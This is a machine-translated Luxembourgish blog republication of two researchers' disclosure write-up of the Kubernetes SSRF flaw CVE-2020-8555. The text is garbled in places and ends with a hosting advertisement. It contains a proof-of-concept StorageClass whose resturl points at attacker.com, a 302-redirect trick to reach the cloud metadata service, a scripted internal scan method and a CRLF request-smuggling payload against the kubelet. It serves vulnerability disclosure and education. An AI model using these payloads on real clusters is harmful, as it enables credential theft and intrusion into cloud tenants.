Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

Note. iwwersat.: d'Auteuren vun dësem Artikel schwÀtzen am Detail iwwer wéi se et fÀerdeg bruecht hunn d'Schwachheet z'entdecken CVE-2020-8555 zu Kubernetes. Och wann et am Ufank net ganz geféierlech ausgesinn huet, a Kombinatioun mat anere Faktoren huet seng Kritizitéit fir e puer Cloud Ubidder maximal erausgestallt. Verschidde Organisatiounen hunn d'Spezialisten generéis belount fir hir Aarbecht.

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

Wien si mir

Mir sinn zwee franséisch Sécherheetsfuerscher, déi zesummen eng Schwachstelle zu Kubernetes entdeckt hunn. Eis Nimm sinn Brice Augras a Christophe Hauquiert, awer op ville Bug Bounty Plattforme si mir bekannt als Reeverzax respektiv Hach:

Wat ass geschitt?

Dësen Artikel ass eise Wee fir ze deelen wéi en normale Fuerschungsprojet onerwaart an déi spannendst Aventure am Liewen vu KÀferjeeger verwandelt huet (op d'mannst fir de Moment).

Wéi Dir wahrscheinlech wësst, hunn KÀferjager e puer Notabele Featuren:

  • si liewen op Pizza a BĂ©ier;
  • si schaffen wann all dĂ©i aner schlofen.

Mir si keng Ausnahm zu dëse Reegelen: mir treffen eis normalerweis um Weekend a verbréngen schloflos Nuechten Hacking. Awer eng vun dësen Nuechten ass op eng ganz ongewéinlech Manéier opgehalen.

Am Ufank wollte mir eis treffen fir d'Participatioun un ze diskutéieren CTF den nÀchsten Dag. WÀrend engem Gespréich iwwer Kubernetes Sécherheet an engem verwalteten Serviceëmfeld hu mir eis un déi al Iddi vum SSRF (Server-SÀit Ufro FÀlschung) an huet decidéiert et als Attackskript ze benotzen.

Um 11hXNUMX hu mir eis gesat fir eis Recherchen ze maachen an si moies fréi an d'Bett gaang, ganz zefridden mat de Resultater. Et war wéinst dëser Fuerschung datt mir de MSRC Bug Bounty Programm begéint hunn a mat engem Privileg Eskalatiounsexploit erauskomm sinn.

E puer Wochen/Méint si vergaangen, an eist onerwaart Resultat huet zu enger vun den héchste Belounungen an der Geschicht vun der Azure Cloud Bug Bounty gefouert - zousÀtzlech zu deem, dee mir vu Kubernetes kritt hunn!

Baséierend op eisem Fuerschungsprojet huet de Kubernetes Product Security Committee publizéiert CVE-2020-8555.

Elo wéilt ech Informatioun iwwer déi fonnt Schwachstelle sou vill wéi méiglech verbreeden. Mir hoffen Dir schÀtzt d'Find an deelt déi technesch Detailer mat anere Membere vun der Infosec Gemeinschaft!

Also hei ass eis Geschicht ...

Kontext

Fir am meeschte SĂ«nn ze maachen wat geschitt ass, loosst eis als Ă©ischt kucken wĂ©i Kubernetes an engem Cloud gerĂ©iert Ëmfeld funktionnĂ©iert.

Wann Dir e Kubernetes Cluster an esou engem Ëmfeld instantiĂ©iert, ass d'Gestiounsschicht typesch d'Verantwortung vum Cloud Provider:

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...
D'Kontrollschicht ass um Perimeter vum Cloud Provider, wÀhrend d'Kubernetes Noden um Perimeter vum Client sinn.

Fir dynamesch BÀnn ze verdeelen, gëtt e Mechanismus benotzt fir se dynamesch vun engem externe SpÀicherbackend ze versuergen an ze verglÀichen mat PVC (persistent Volumenfuerderung, dh eng Ufro fir e Volumen).

Also, nodeems de PVC erstallt ass a mat der StorageClass am K8s Cluster gebonnen ass, ginn weider Aktiounen fir de Volume ze bidden vum Kube / Cloud Controller Manager iwwerholl (sĂ€i genee Numm hĂ€nkt vun der VerĂ«ffentlechung of). (Note. iwwersat.: Mir hu scho mĂ©i iwwer CCM geschriwwen mat dem Beispill vu senger Ëmsetzung fir ee vun de Cloud Provider hei.)

Et gi verschidden Aarte vu Provisorer ënnerstëtzt vu Kubernetes: déi meescht vun hinnen sinn abegraff orchestrator KÀr, wÀhrend anerer vun zousÀtzleche Provisorer geréiert ginn, déi an Pods am Cluster gesat ginn.

An eiser Fuerschung hu mir eis op den internen Volumenversuergungsmechanismus konzentréiert, deen hei ënnen illustréiert ass:

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...
Dynamesch Versuergung vu Volumen mat dem agebaute Kubernetes Provider

Kuerz gesot, wann Kubernetes an engem verwalteten Ëmfeld ofgesat ass, ass de Controller Manager d'Verantwortung vum Cloud Provider, awer d'Volumencreatiounsufro (Nummer 3 am Diagramm uewendriwwer) verlĂ©isst den internen Netzwierk vum Cloud Provider. An dat ass wou d'Saache wierklech interessant ginn!

Hacking Szenario

An dëser Sektioun wÀerte mir erklÀre wéi mir vum uewe genannte Workflow profitéiert hunn an op déi intern Ressourcen vum Cloud Service Provider zougrÀifen. Et wÀert Iech och weisen wéi Dir verschidden Aktiounen ausféiere kënnt, sou wéi intern Umeldungsinformatiounen ze kréien oder Privilegien eskaléieren.

Eng einfach Manipulatioun (an dësem Fall, Service Side Request Forgery) huet gehollef iwwer d'Clientëmfeld a Cluster vu verschiddene Serviceprovider ënner geréiert K8s ze goen.

An eiser Fuerschung hu mir eis op de GlusterFS Provider konzentréiert. Trotz der Tatsaach, datt déi weider Sequenz vun Aktiounen an dësem Kontext beschriwwe gëtt, sinn Quobyte, StorageOS a ScaleIO ufÀlleg fir déiselwecht Schwachstelle.

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...
Mëssbrauch vum dynamesche Volumenbestëmmungsmechanismus

WĂ€hrend Stockage Klass Analyse GlusterFS am Golang Client Quellcode mir gemierktdatt op der Ă©ischter HTTP Ufro (3) wĂ€hrend Volume Kreatioun geschĂ©ckt, bis Enn vun der BenotzerdefinĂ©iert URL am Parameter resturl bĂ€igefĂŒĂŒgt /volumes.

Mir hu beschloss, vun dĂ«sem zousĂ€tzleche Wee lass ze ginn, andeems mer dobĂ€i ginn # am Parameter resturl. Hei ass dĂ©i Ă©ischt YAML Konfiguratioun dĂ©i mir benotzt hunn fir eng semi-blannen SSRF Schwachstelle ze testen (Dir kĂ«nnt mĂ©i iwwer hallefblann oder hallefblann SSRF liesen, zum Beispill, hei — ca. Iwwersetzung):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Duerno hu mir de BinÀr benotzt fir de Kubernetes Cluster op afstand ze managen kubectl. Typesch, Cloud Provider (Azure, Google, AWS, etc.) erlaben Iech Umeldungsinformatioune fir benotzen an dësem Utility ze kréien.

Dank dësem konnt ech meng "speziell" Datei benotzen. Kube-controller-manager huet déi resultéierend HTTP-Ufro ausgefouert:

kubectl create -f sc-poc.yaml

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...
D'Äntwert aus der Siicht vum UgrĂ€ifer

Kuerz duerno konnte mir och eng HTTP-Äntwert vum Zilserver krĂ©ien - iwwer d'Kommandoen describe pvc oder get events an kubectl. An tatsĂ€chlech: dĂ«se Standard Kubernetes Chauffer ass ze verbose a sengen Warnungen / Fehlermeldungen ...

Hei ass e Beispill mat engem Link op https://www.google.frals Parameter setzen resturl:

kubectl describe pvc poc-ssrf
# ОлО жД ĐŒĐŸĐ¶Đ”Ń‚Đ” ĐČĐŸŃĐżĐŸĐ»ŃŒĐ·ĐŸĐČаться kubectl get events

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

An dĂ«ser Approche ware mir limitĂ©iert op Ufroe wĂ©i HTTP POST a konnt net den Inhalt vun der Äntwert Kierper krĂ©ien wann de Retour Code war 201. Dofir hu mir beschloss fir zousĂ€tzlech Fuerschung ze maachen an dĂ«sen Hacking-Szenario mat neien Approchen auszebauen.

D'Evolutioun vun eiser Fuerschung

  • Fortgeschratt Szenario #1: Mat engem 302 Viruleedung vun engem externen Server fir d'HTTP Method z'Ă€nneren fir e mĂ©i flexibele Wee ze bidden fir intern Daten ze sammelen.
  • Fortgeschratt Szenario #2: AutomatisĂ©ieren LAN Scannen an intern Ressource Entdeckung.
  • Fortgeschratt Szenario # 3: benotzt HTTP CRLF + Schmuggling ("Ufro Schmuggling") fir ugepasste HTTP-Ufroen ze kreĂ©ieren an Daten aus Kube-Controller-Logbicher extrahĂ©iert ze krĂ©ien.

Technesch Spezifikatioune

  • D'Fuerschung benotzt Azure Kubernetes Service (AKS) mat Kubernetes Versioun 1.12 an der Nordeuropa Regioun.
  • DĂ©i uewe beschriwwe Szenarien goufen op dĂ©i lescht VerĂ«ffentlechunge vu Kubernetes ausgefouert, mat Ausnam vum drĂ«tten Szenario, well hie brauch Kubernetes gebaut mat Golang Versioun ≀ 1.12.
  • Den externen Server vum Attacker - https://attacker.com.

Fortgeschratt Szenario #1: Viruleedung vun enger HTTP POST Ufro fir GET a sensibel Donnéeën ze kréien

Déi ursprénglech Method gouf verbessert duerch d'Konfiguratioun vum Server vum UgrÀifer fir zréckzekommen 302 HTTP Retcodefir eng POST Ufro an eng GET Ufro ze konvertéieren (Schrëtt 4 am Diagramm):

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

Éischt Ufro (3) kĂ«nnt vum Client GlusterFS (Controller Manager), huet e POST Typ. Duerch dĂ«s SchrĂ«tt ze verfollegen konnte mir et an e GET Ă«msetzen:

  • Als Parameter resturl am StorageClass gĂ«tt et uginn http://attacker.com/redirect.php.
  • Endpunkt https://attacker.com/redirect.php reagĂ©iert mat engem 302 HTTP Statuscode mat de folgende Location Header: http://169.254.169.254. DĂ«st kann all aner intern Ressource sinn - an dĂ«sem Fall gĂ«tt de Viruleedungslink nĂ«mmen als Beispill benotzt.
  • Par dĂ©faut net/http BibliothĂ©ik Golang redirectĂ©iert d'Ufro an konvertĂ©iert de POST an e GET mat engem 302 Statuscode, wat zu enger HTTP GET Ufro un d'Zilressource resultĂ©iert.

Fir den HTTP Äntwert Kierper ze liesen musst Dir maachen describe PVC Objet:

kubectl describe pvc xxx

Hei ass e Beispill vun enger HTTP Äntwert am JSON Format dĂ©i mir konnten krĂ©ien:

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

D'Kapazitéite vun der fonnter Schwachstelle zu dÀr ZÀit ware limitéiert wéinst de folgende Punkten:

  • OnmĂ©iglechkeet HTTP Header an erausginn Ufro anzeginn.
  • OnmĂ©iglechkeet eng POST Ufro mat Parameteren am Kierper auszefĂ©ieren (dĂ«st ass bequem fir de SchlĂ«sselwĂ€ert vun enger etcd Instanz ze froen 2379 port wann onverschlĂ«sselte HTTP benotzt gĂ«tt).
  • OnmĂ©iglechkeet Äntwert Kierper Inhalt ze recuperĂ©ieren wann de Status Code war 200 an d'Äntwert huet keen JSON Inhalt-Typ.

Fortgeschratt Szenario #2: Scannen vum lokalen Netzwierk

DĂ«s hallefblannen SSRF-Methode gouf dunn benotzt fir den internen Netzwierk vum Cloud Provider ze scannen a verschidde Nolauschterservicer ze pollen (Metadaten Instanz, Kubelet, etcd, etc.) basĂ©iert op den Äntwerten kube Controller.

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

Als éischt goufen d'Standard Nolauschterporte vu Kubernetes Komponenten bestëmmt (8443, 10250, 10251, etc.), an dann hu mir de Scannerprozess automatiséiert.

Gesinn datt dës Method fir Ressourcen ze scannen ganz spezifesch ass an net kompatibel ass mat klassesche Scanner an SSRF Tools, hu mir beschloss eis eegen Aarbechter an engem Bash Skript ze kreéieren deen de ganze Prozess automatiséiert.

Zum Beispill, fir sĂ©ier d'Gamme 172.16.0.0/12 vum internen Netzwierk ze scannen, goufen 15 Aarbechter parallel lancĂ©iert. DĂ©i uewe genannte IP-Gamme gouf nĂ«mmen als Beispill ausgewielt a kann Ă«nnerleien fir Äert spezifescht DĂ©ngschtleeschter hir IP-Gamme ze Ă€nneren.

Fir eng IP Adress an een Hafen ze scannen, musst Dir déi folgend maachen:

  • lĂ€schen dĂ©i lescht iwwerprĂ©ift StorageClass;
  • ewechzehuelen dĂ©i virdrun verifizĂ©iert Persistent Volume Claim;
  • Ă€nneren d'IP a Port WĂ€erter an sc.yaml;
  • eng StorageClass mat engem neien IP an port erstellen;
  • schafen eng nei PVC;
  • Extrait Scan Resultater mat Beschreiwen fir PVC.

Fortgeschratt Szenario #3: CRLF Injektioun + Schmuggel HTTP an "al" Versioune vum Kubernetes Cluster

Wann zousÀtzlech zu dësem de Provider Clienten al Versioune vun der K8s StÀrekoup offréiert О huet hinnen Zougang zu de Logbicher vum Kube-Controller-Manager, den Effekt gouf nach méi bedeitend.

Et ass wierklech vill mĂ©i praktesch fir en UgrĂ€ifer HTTP-Ufroen z'Ă€nneren entworf fir eng voll HTTP-Äntwert no sengem Diskretioun ze krĂ©ien.

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

Fir de leschte Szenario ëmzesetzen, hu folgend Bedéngungen erfëllt:

  • De Benotzer muss Zougang zu Kube-Controller-Manager Logbicher hunn (wĂ©i zum Beispill an Azure LogInsights).
  • De Kubernetes StĂ€rekoup muss eng Versioun vu Golang manner wĂ©i 1.12 benotzen.

Mir hunn e lokalt Ëmfeld ofgesat, deen d'Kommunikatioun tĂ«scht dem GlusterFS Go Client an engem gefĂ€lschte Zilserver simulĂ©iert huet (mir wĂ€erte fir de Moment de PoC net verĂ«ffentlechen).

Gouf fonnt Schwachstelle, beaflosst Golang Versioune manner wéi 1.12 an erlaabt Hacker HTTP-Schmuggel-/CRLF-Attacke auszeféieren.

Duerch d'Kombinatioun vun der hallefblannen SSRF uewen beschriwwen ĐČĐŒĐ”ŃŃ‚Đ” mat dĂ«ser, mir konnten Ufroen un eis GoĂ»t schĂ©cken, dorĂ«nner Ersetzen Header, HTTP Method, Parameteren an DonnĂ©eĂ«n, dĂ©i Kube-Controller-Manager dann veraarbecht.

Hei ass e Beispill vun engem funktionnéierende "Köder" an engem Parameter resturl StorageClass, deen en Àhnlechen Attackszenario implementéiert:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

D'Resultat ass e Feeler onerwĂ«nscht Äntwert, e Message iwwer deen an de Controller Logbicher opgeholl gĂ«tt. Dank der VerbositĂ©it, dĂ©i als Standard aktivĂ©iert ass, gĂ«tt den Inhalt vun der HTTP Äntwert Message och do gespĂ€ichert.

Wann et net nëmmen ëm Kubernetes Schwachstelle geet ...

Dëst war eisen effektivsten "Köder" am Kader vum proof of concept.

Mat dëser Approche konnte mir e puer vun de folgenden Attacken op Cluster vu verschiddene verwalteten k8s Ubidder ausféieren: Privileg Eskalatioun mat Umeldungsinformatiounen op Metadaten Instanzen, Master DoS iwwer (net verschlësselte) HTTP Ufroen op etcd Master Instanzen, etc.

Folgen

An der Kubernetes offizieller Ausso iwwer d'SSRF Schwachstelle déi mir entdeckt hunn, gouf et bewÀert CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Wa mir nëmmen d'Schwachstelle betruechten, déi mam Kubernetes Perimeter assoziéiert ass, den Integritéitsvektor (Integritéit Vektor) et qualifizéiert als nÀischt.

Wéi och ëmmer, d'BewÀertung vun de méigleche Konsequenzen am Kontext vun engem verwalteten Serviceëmfeld (an dat war den interessantsten Deel vun eiser Fuerschung!) huet eis opgefuerdert d'Schwachheet an eng BewÀertung ëmzeklasséieren Kritescher CVSS10/10 fir vill Distributeuren.

Drënner ass zousÀtzlech Informatioun fir Iech ze hëllefen eis Considératiounen ze verstoen wann Dir déi potenziell Auswierkunge a Wollekenëmfeld beurteelt:

Integritéit

  • Befehle op afstand ausfĂ©ieren andeems Dir intern Umeldungsinformatiounen kaaft hutt.
  • ReproduzĂ©ieren vum uewe genannte Szenario mat der IDOR (Insecure Direct Object Reference) Method mat anere Ressourcen dĂ©i am lokalen Netzwierk fonnt ginn.

Vertraulechkeet

  • Attack Typ Lateral Bewegung merci fir Vol vun Cloud Umeldungsinformatioune (Zum Beispill, Metadaten API).
  • Informatioun sammelen andeems Dir de lokalen Netzwierk Scannen (BestĂ«mmung vun der SSH Versioun, HTTP Server Versioun, ...).
  • Sammelt Instanz- an Infrastrukturinformatioun andeems Dir intern APIen wĂ©i d'Metadaten API (http://169.254.169.254, ...).
  • Klauen Client Daten mat Cloud Umeldungsinformatiounen.

Disponibilitéit

All exploit Szenarie Zesummenhang mat Attack Vecteure op IntegritĂ©it, kann fir zerstĂ©ierend Aktiounen benotzt ginn a fĂ©ieren zu Meeschterinstanzen aus dem Clientperimeter (oder all aner) net verfĂŒgbar.

Well mir an engem verwalteten K8s Ëmfeld waren an den Impakt op d'IntegritĂ©it bewĂ€erten, kĂ«nne mir vill Szenarie virstellen, dĂ©i d'DisponibilitĂ©it beaflosse kĂ«nnen. ZousĂ€tzlech Beispiller enthalen d'Korruptioun vun der etcd Datebank oder e kriteschen Uruff un d'Kubernetes API.

Timeline

  • Dezember 6, 2019: Schwachstelle bei MSRC Bug Bounty gemellt.
  • 3. Januar 2020: Eng DrĂ«tt Partei huet Kubernetes EntwĂ©ckler informĂ©iert datt mir un engem SĂ©cherheetsprobleem schaffen. A gefrot hinnen SSRF als intern (in-core) Schwachstelle ze betruechten. Mir hunn dunn en allgemenge Bericht mat techneschen Detailer iwwer d'Quell vum Problem geliwwert.
  • Januar 15, 2020: Mir hunn technesch an allgemeng Berichter un Kubernetes EntwĂ©ckler op hir Ufro geliwwert (iwwer d'HackerOne Plattform).
  • 15. Januar 2020: Kubernetes EntwĂ©ckler hunn eis matgedeelt datt hallefblannen SSRF + CRLF Injektioun fir vergaange VerĂ«ffentlechungen als eng In-Core Schwachstelle ugesi gĂ«tt. Mir hunn direkt opgehalen d'Perimeter vun aneren DĂ©ngschtleeschter ze analysĂ©ieren: d'K8s-Team huet sech elo mat der Grondursaach beschĂ€ftegt.
  • 15. Januar 2020: MSRC Belounung kritt duerch HackerOne.
  • 16. Januar 2020: Kubernetes PSC (ProduktsĂ©cherheetskomitee) huet d'Schwachheet unerkannt a gefrot et bis MĂ«tt MĂ€erz geheim ze halen wĂ©inst der grousser Zuel vu potenziellen Affer.
  • 11. Februar 2020: Google VRP Belounung kritt.
  • 4. MĂ€erz 2020: Kubernetes Belounung kritt duerch HackerOne.
  • 15. MĂ€erz 2020: UrsprĂ©nglech geplangte Ă«ffentlech VerĂ«ffentlechung ausgestallt wĂ©inst der COVID-19 Situatioun.
  • Juni 1: Kubernetes + Microsoft gemeinsame ErklĂ€rung iwwer d'Schwachheet.

TL; DR

  • Mir drĂ©nken BĂ©ier an iessen Pizza :)
  • Mir hunn eng In-Core Schwachstelle am Kubernetes entdeckt, obwuel mir keng Absicht haten dat ze maachen.
  • Mir hunn zousĂ€tzlech Analyse op Cluster vu verschiddene Cloud Ubidder gemaach a konnten de Schued erhĂ©ijen, deen duerch d'Schwachheet verursaacht gĂ«tt fir zousĂ€tzlech fantastesch Bonusen ze krĂ©ien.
  • Dir fannt vill technesch Detailer an dĂ«sem Artikel. Mir gĂ©ife frou se mat Iech ze diskutĂ©ieren (Twitter: @ReeverZax & @__hach_).
  • Et huet sech erausgestallt, datt all Zorte vu FormalitĂ©iten a Berichterstattung vill mĂ©i laang gedauert huet wĂ©i erwaart.

Referenze

PS vum Iwwersetzer

Liest och op eisem Blog:

Source: will.com

Kaaft zouverlĂ€sseg Hosting fir Site mat DDoS Schutz, VPS VDS Server đŸ”„ Kaaft zouverlĂ©issegt WebsĂ€ithosting mat DDoS-Schutz, VPS VDS Server | ProHoster